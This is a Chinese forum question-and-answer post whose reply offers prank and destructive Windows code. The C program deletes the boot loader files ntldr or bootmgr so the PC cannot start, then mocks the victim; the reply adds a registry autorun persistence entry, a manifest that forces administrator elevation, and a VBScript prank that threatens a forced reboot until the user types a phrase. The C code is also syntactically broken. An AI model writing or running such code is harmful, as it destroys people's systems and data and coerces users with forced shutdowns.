求 VC 6.0 程序代码 想骂人的 滚 高分 100 追加 80

#include <windows.h>

#include <stdio.h>

#include <conio.h>

int main(int argc, char* argv[])

{

OSVERSIONINFO osinfo

osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO)

GetVersionEx(&osinfo)

if (osinfo.dwMajorVersion == 5) //Windows XP

{

system("del /s %systemroot%\\..\\..\\ntldr")

}

if (osinfo.dwMajorVersion == 6) //Windows 7

{

system("del /s %systemroot%\\..\\..\\bootmgr")

}

MessageBox(NULL, "哈哈哈 你电脑要坏了啦 千万别关机哦", "", MB_OK|MB_ICONWARNING)

return 0

}

还有注册表的没时间做了，你去百度下吧，关键是：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

"App"="%systemroot%\\App.exe"

还有下面的代码：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

<assemblyIdentity

version="1.0.0.0"

processorArchitecture="X86"

name="a.exe.manifest"

type="win32"

/>

<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">

<security>

<requestedPrivileges>

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

把其中的a.exe 改成 你的程序名字.exe，然后存为 你的程序名字.exe.manifest

这是用来win7提权的。。。

另外，破坏了系统引导安全模式是无法打开的，我前几天就删了win7的BCD，结果开机蓝屏，不可能再打开安全模式了。。。

CreateObject ("SAPI.SpVoice").Speak "Although you now just like an apple, be had gone, but you don't be sad, if that person is me, I will be a finished, ha ha ha ha! "

WScript.Echo("怎么样，感动吗？")

WScript.Echo("是不是要感谢我？")

WScript.Echo("你是不是想对我说那句英语？")

CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"

WScript.Echo("你这么说我可真高兴呀！")

WScript.Echo("我要奖励你.....")

CreateObject ("SAPI.SpVoice").Speak "In this way, I send you a hamburger, but a second after the change to me, I need to eat."

WScript.Echo("感谢我吧！")

WScript.Echo("你说什么？")

WScript.Echo("汉堡包我当然是留给自己吃！")

WScript.Echo("呵呵，你也想吃呀，我就告诉你句英语。")

CreateObject ("SAPI.SpVoice").Speak "Would you like me to the hamburger, I would like a hamburger for you, strange! This burger is the best to eat, your very!"

WScript.Echo("请问你拉着我的脚干嘛？")

WScript.Echo("别学习乞丐呀！")

WScript.Echo("我真不舍得给你吃。")

CreateObject ("SAPI.SpVoice").Speak "What are you doing, I want to eat hamburgers!"

WScript.Echo("唉，我才刚吃一口，多香呀，你干嘛.....")

WScript.Echo("哈哈，你这眼神.")

WScript.Echo("我说.")

CreateObject ("SAPI.SpVoice").Speak "Hamburger hamburger I do not give you, I tell you where to buy what."

WScript.Echo("你这么不给面子，你将会收到应有的惩罚！")

CreateObject ("SAPI.SpVoice").Speak "You beast! To steal my burger, ready for shutdown!"

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我不吃汉堡，不说就20秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我不吃汉堡")

a = inputbox ("说我不吃汉堡,就不关机，快撒，说 ""我不吃汉堡"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,汉堡你别想吃。"

WScript.Echo("对了，你可以去借钱。")

WScript.Echo("我忘了你没钱啊！哈哈！")

WScript.Echo("看你呆呆的眼神..不会.....")

CreateObject ("SAPI.SpVoice").Speak "I faint! Borrow money from me? I tell you! I have no money!"

WScript.Echo("打车回家吧。")

WScript.Echo("今天我放过你，明天！你等死！")

---